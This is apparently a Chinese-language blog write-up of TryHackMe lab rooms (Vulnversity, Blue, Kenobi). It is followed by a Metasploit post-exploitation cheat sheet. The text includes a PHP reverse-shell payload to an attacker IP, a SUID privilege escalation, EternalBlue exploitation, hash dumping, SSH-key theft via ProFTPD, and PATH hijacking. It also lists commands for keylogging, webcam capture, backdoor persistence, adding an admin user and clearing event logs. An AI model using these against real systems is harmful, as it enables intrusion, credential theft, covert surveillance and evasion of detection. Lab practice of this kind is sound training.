OffensivePentesting——GettingStarted

Offensive Pentesting——Getting Started

Room

Vulnversity

Recoonaissance

nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p-  10.82.190.75
#扫描速度(T4:激进模式),强制最小发包速率 500 个 / 秒,最大往返超时时间 300 毫秒
#在网络环境差的时候可以这么操作

 nmap -Pn -sV -p 3128 10.82.190.75 

nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- -sV 10.82.190.75

1772905269712-87f061af-2371-43f5-829f-13b8ce4b73b4.png

Locating directories using Gobuster

目录扫描

gobuster dir -u  http://10.82.184.179:3333 -w /usr/share/wordlists/dirb/common.txt

1772519360114-7116ca04-7e44-4b87-8f24-5fcfc0175db6.png

找到internal目录,发现可以上传文件。

Compromise the Webserver

文件上传

这里有关简单的文件后缀绕过,phtml可绕过

<?php
  exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.209.71/4444 0>&1'");
?>

//这里的ip为虚拟机的turn0 ip


  1. exec() - PHP函数,用于执行系统命令
  2. /bin/bash -c - 调用Bash shell来执行后面的命令字符串
  3. bash -i - 启动一个交互式Bash shell
  4. >& /dev/tcp/YOUR_IP/4444
    • >&:将标准输出和标准错误输出都重定向
    • /dev/tcp/YOUR_IP/4444:这是一个特殊的Bash特性,创建TCP连接到指定IP和端口
  5. 0>&1 - 将标准输入(0)重定向到标准输出(1),使输入也通过网络传输

kali中监听4444端口

nc -nvlp 4444

获得一个完整的交互式Shell

1772519796483-98cf24fe-bf5f-4264-8ac9-363bcc794391.png

cat /etc/passwd

1772520237711-88329bae-abb2-446c-954d-8b83874c1c0f.png

/etc/passwd 为用户账户数据库,详细解释如下。

# 文件格式:7个字段,冒号分隔
username:password:UID:GID:comment:home_dir:shell

# 实际示例
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
john:x:1000:1000:John Smith:/home/john:/bin/bash
字段 名称 说明 示例 安全意义
1 用户名 登录名,唯一 john 身份标识
2 密码 通常为x
,表示密码在shadow
x 防止密码泄露
3 UID 用户ID 1000 内核识别
4 GID 主组ID 1000 初始权限
5 注释 用户全名或描述 John Smith 管理识别
6 家目录 用户登录后的工作目录 /home/john 数据隔离
7 Shell 登录Shell程序 /bin/bash 交互环境

1772521617444-107b7cc1-08ee-4eb9-8acb-257beae2e754.png

有/bin/bash 交互环境的通常为管理员

确定网站管理员为bill

到bill的家目录/home/bill 中看到有一个user.txt 文件,cat该文件找到flag。

1772521737368-bd9a1586-4f77-448e-a2a4-6cf4cf9ee85d.png

Privilege Escalation

find / -perm -4000 2>/dev/null
  • 作用:在整个系统中查找设置了SUID位的文件
  • -perm -4000:匹配设置了SUID位的文件(八进制4000)
  • 2>/dev/null:将错误输出(如权限拒绝)重定向到空设备,只显示有权限访问的结果

1772522706492-5cd5e983-9ca1-4e70-83ea-1c6ee6129129.png

提权

cd /tmp
cat > root.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash'
[Install]
WantedBy=multi-user.target
EOF


/bin/systemctl link /tmp/root.service
  //作用:将临时目录的服务文件链接到systemd管理范围
  //目的:使systemd能够识别这个服务
/bin/systemctl start root
  //作用:启动刚创建的root服务
  //执行效果:执行服务中的命令,在/tmp下创建了一个具有SUID权限的bash副本
/tmp/bash -p
  //作用:运行/tmp下刚创建的SUID bash
  //-p参数:关键点!告诉bash不要放弃特权(privileged mode)
  //效果:因为bash有SUID位且以root权限运行,所以启动的shell具有root权限
whoami
  • 作用:创建名为root.service的systemd服务配置文件
  • 关键点分析
    • Type=oneshot:服务只运行一次然后退出
    • ExecStart:服务启动时执行的命令
      • cp /bin/bash /tmp/bash:复制bash到/tmp目录
      • chmod +s /tmp/bash:给复制的bash设置SUID位(+s)
    • WantedBy=multi-user.target:指定服务在哪个运行级别启动

1772523248577-08e9dcce-3132-4f3c-9abd-e916d9ca6590.png

拿到flag

1772523389626-d39a7f77-e500-472d-b274-7b42deff2cef.png

Blue

Recon

按照题目要求nmap -p-1000 [ip]扫出端口号低于1000的目录

1772527385727-e4374426-57a1-422a-a39b-ad649f87131a.png

1772527686370-6506b64d-de39-4b31-ad9d-f973be962de3.png

这里看到445端口是开放的,并且操作系统版本为Microsoft Windows 7 - 10(这常见于Windows 7/2008/8),而 EternalBlue 利用的就是SMBv1协议

所以此系统可能存在的漏洞为ms17-010 永恒之蓝漏洞

Gain Access

使用Metasploit

之前也写过利用Metasploit 复现永恒之蓝的文章(https://cindahy.xyz/archives/1755585720444

msfconsole //启动
search ms17_010

1772528521740-9c531f9f-8a8e-4da9-8d15-a814745ac3c3.png

找到漏洞利用代码在Metasploit中的完整路径

exploit/windows/smb/ms17_010_eternalblue
show options  #拉出设置,找到必选项

设置必选项(payload,rhost,lhost

1772529549869-1d9cd872-fe18-4c21-965f-af46032d8d79.png

ok了

1772529692407-c6a587ee-795d-41f5-8ffe-c1f8abf66f37.png

Escalate

# 获取Meterpreter会话
# 如果获得普通shell,升级到Meterpreter
background              # 背景化当前会话(Ctrl+Z)
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

#  查看会话
sessions
sessions -i 2           # 选择Meterpreter会话

# 提升权限
getsystem               # 尝试提升到SYSTEM
getuid                  # 查看当前用户

Cracking

hashdump

1772605139576-16d95c48-e46c-4c1c-925c-c5656cbe225e.png

当运行 hashdump 命令时,Meterpreter会:

  1. 访问SAM数据库:从Windows注册表中提取SAM(Security Account Manager)数据库的内容
  2. 获取NTLM哈希:提取用户的NTLM哈希值(密码的加密形式)
  3. 显示格式:输出格式为 用户名:RID:LM哈希:NTLM哈希:::

1772605182478-a1eebc50-1c16-4f30-9829-2c79d7f8ff3e.png

Find flags!

C:\>dir *flag*.* /s
dir *flag*.* /s
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\

03/17/2019  01:27 PM                24 flag1.txt
               1 File(s)             24 bytes


 Directory of C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent

03/17/2019  01:26 PM               482 flag1.lnk
03/17/2019  01:30 PM               848 flag2.lnk
03/17/2019  01:32 PM             2,344 flag3.lnk
               3 File(s)          3,674 bytes

 Directory of C:\Users\Jon\Documents

03/17/2019  01:26 PM                37 flag3.txt
               1 File(s)             37 bytes

 Directory of C:\Windows\System32\config

03/17/2019  01:32 PM                34 flag2.txt
               1 File(s)             34 bytes

     Total Files Listed:
               6 File(s)          3,769 bytes
               0 Dir(s)  20,219,310,080 bytes free


flag{access_the_machine}

flag{sam_database_elevated_access}

flag{admin_documents_can_be_valuable}

Kenobi

攻击链逻辑

SMB枚举 → 发现共享 → 下载log.txt → 获取关键信息
    ↓
获得kenobi用户名、SSH密钥位置、FTP版本
    ↓
FTP漏洞 → 复制SSH密钥到/var/tmp
    ↓
NFS挂载 → 从/var/tmp获取密钥
    ↓
SSH登录 → 获得kenobi用户权限

Enumerating Samba for shares

nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- 10.80.158.136

smbclient -L //10.80.158.136 -N  #尝试匿名登录共享

smbclient //10.82.176.31/anonymous   

ls

smbget smb://10.82.176.31/anonymous/log.txt #下载log.txt文件


nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.82.176.31#只扫描 10.82.176.31 的 111 端口,并用 3 个专门的脚本,查出这台机器通过 NFS 共享了哪个目录

1772871086429-5d9efc5b-f9c3-407f-a6f2-042eba67a386.png

1772874194938-8641057b-b58a-4c18-bfa0-857ad83b5cbc.png

1772874214315-2389acba-287e-4b5f-8efa-c35a44c4edaa.png

Gain initial access with ProFtpd

nmap -sV -p 21 10.82.176.31 

#从log.txt中获取关键信息:
  #用户名kenobi存在
  #SSH私钥位置/home/kenobi/.ssh/id_rsa
  #ProFTPD版本信息(存在漏洞的版本)

# 连接到FTP端口
nc 10.82.176.31 21

# 在FTP连接中执行以下命令
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa #目标选择/var/tmp 因为NFS共享了此文件夹,且cat /etc/exports看到是rw:允许读写的


mkdir /mnt/kenobiNFS
mount 10.82.176.31:/var /mnt/kenobiNFS
cp /mnt/kenobiNFS/tmp/id_rsa .


chmod 600 id_rsa #这里如果设置777由于安全性反而会需要密码登录
ssh -i id_rsa kenobi@10.82.176.31

cat /home/kenobi/user.txt

ProFTPD mod_copy漏洞 (CVE-2015-3306)

  • 漏洞编号:CVE-2015-3306
  • 受影响版本:ProFTPD 1.3.5
mod_copy模块提供了两个命令:
- CPFR (COPY FROM):指定源文件
- CPTO (COPY TO):指定目标文件

漏洞原因:这些命令本应需要认证才能使用,但在受影响版本中,
无需任何认证就可以直接使用这些命令复制服务器上的任意文件。

Privilege Escalation with Path Variable Manipulation

 find / -perm -u=s -type f 2>/dev/null

 # 查看二进制文件中的可读字符串
strings /usr/bin/menu

在输出中看到类似:

curl -I localhost

uname -r

ifconfig

这些命令是相对路径调用,不是绝对路径


所以我们可以路径劫持,将一个恶意的curl写进PATH中,menu按照root权限运行时,它调用curl时不指定完整路径,系统会按照PATH变量的顺序查找,将echo “/bin/bash”** 写入,运行menu即可获得root权限。 **

echo "/bin/bash" >  /tmp/curl # 创建一个名为curl的脚本,内容为启动bash
chmod 777 /tmp/curl  # 添加执行权限
export PATH=/tmp:$PATH   # 将/tmp目录放在PATH最前面
/usr/bin/menu
#得到root权限

whoami
cat /root/root.txt

Key point

Metasploit完整渗透测试流程

第一阶段:信息收集与扫描

# 1. 启动Metasploit
msfconsole

# 2. 搜索可用模块
search smb              # 搜索SMB相关模块
search ms17_010        # 搜索永恒之蓝漏洞

# 3. 使用扫描模块
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 目标IP
run

第二阶段:漏洞利用

# 4. 选择利用模块
use exploit/windows/smb/ms17_010_eternalblue

# 5. 查看并设置参数
show options
show targets           # 查看支持的目标系统
set RHOSTS 目标IP
set LHOST 本机IP
set LPORT 4444

# 6. 选择payload
show payloads
set payload windows/x64/meterpreter/reverse_tcp

# 7. 验证并执行
check                   # 检查目标是否脆弱
exploit                 # 或 run

第三阶段:权限提升

# 8. 获取Meterpreter会话
# 如果获得普通shell,升级到Meterpreter
background              # 背景化当前会话(Ctrl+Z)
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

# 9. 查看会话
sessions
sessions -i 2           # 选择Meterpreter会话

# 10. 提升权限
getsystem               # 尝试提升到SYSTEM
getuid                  # 查看当前用户

第四阶段:后渗透

# 11. 进程迁移(稳定会话)
ps                      # 查看进程
migrate PID             # 迁移到稳定进程(如explorer.exe)

# 12. 信息收集
sysinfo                 # 系统信息
ifconfig/ipconfig       # 网络配置
route                   # 路由表
arp                     # ARP缓存
netstat                 # 网络连接

# 13. 凭证获取
hashdump                # 获取密码哈希
run post/windows/gather/smart_hashdump  # 高级哈希获取
run post/windows/gather/cachedump       # 缓存凭证
run post/windows/gather/credentials/windows_autologin  # 自动登录凭证

# 14. 键盘记录
keyscan_start           # 开始键盘记录
keyscan_dump            # 导出记录
keyscan_stop            # 停止记录

# 15. 屏幕监控
screenshot              # 截图
run post/windows/gather/screen_spy      # 持续屏幕监控
webcam_list             # 查看摄像头
webcam_snap             # 拍照

# 16. 文件操作
upload /local/file C:\\target\\path     # 上传文件
download C:\\target\\file /local/path    # 下载文件
ls                      # 列出文件
cd                      # 切换目录
pwd                     # 当前路径
cat file.txt            # 查看文件内容

第五阶段:权限维持

# 17. 创建后门
run persistence -U -X -i 30 -p 4444 -r 攻击机IP
# -U: 用户登录时启动
# -X: 系统启动时启动
# -i: 连接间隔

# 18. 添加用户
execute -f cmd.exe -i -c "net user hacker Password123! /add"
execute -f cmd.exe -i -c "net localgroup administrators hacker /add"

# 19. 启用RDP
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp -u 用户名 -p 密码

第六阶段:横向移动

# 20. 内网扫描
run autoroute -s 192.168.1.0/24        # 添加路由
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445,3389
run

# 21. SMB登录尝试
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100-200
set USER_FILE /path/users.txt
set PASS_FILE /path/passwords.txt
run

# 22. PsExec远程执行
use exploit/windows/smb/psexec
set RHOSTS 目标IP
set SMBUSER 用户名
set SMBPASS 密码
set SMBDOMAIN 域名
run

第七阶段:日志清理与退出

# 23. 清理痕迹
clearev                 # 清除事件日志
shell
del C:\path\to\tools.exe  # 删除上传的工具
exit

# 24. 会话管理
sessions -k 1           # 杀死会话1
sessions -K             # 杀死所有会话
exit -y                 # 强制退出

smbclient 命令详解

smbclient 是一个用于访问SMB/CIFS(服务器消息块/通用互联网文件系统)共享的命令行工具,类似于FTP客户端,但用于Windows文件共享和Samba服务器。

smbclient [选项] //服务器/共享名 [密码]
  • 列出共享 -L
# 匿名列出(不提供密码)
smbclient -L //10.82.176.31 -N
  • **连接共享 **
# 使用工作组
smbclient //10.82.176.31/share -W WORKGROUP -U username
  • 认证选项
-N              # 无密码(匿名连接)
-U username     # 指定用户名
-P password     # 指定密码
-W workgroup    # 指定工作组
-A file         # 从文件读取认证信息
  • 其他有用选项
-p port         # 指定端口(默认445)
-m protocol     # 指定SMB协议版本
-D directory    # 初始目录
-c command      # 执行命令后退出

smbget 是一个类似于 wget 的工具,但用于通过SMB/CIFS协议递归下载文件。它是 smbclient 的补充,更适合批量下载。

# 递归下载(-r 或 --recursive)
smbget -r smb://10.82.176.31/anonymous/

# 或指定输出目录
smbget -r smb://10.82.176.31/anonymous/ -o ./downloaded_files

# 下载特定文件
smbget smb://10.82.176.31/anonymous/log.txt

更新: 2026-03-08 21:54:11
原文: https://www.yuque.com/cindahy/qgnfa5/ztqxp51x7dydvgbg

LICENSED UNDER CC BY-NC-SA 4.0
评论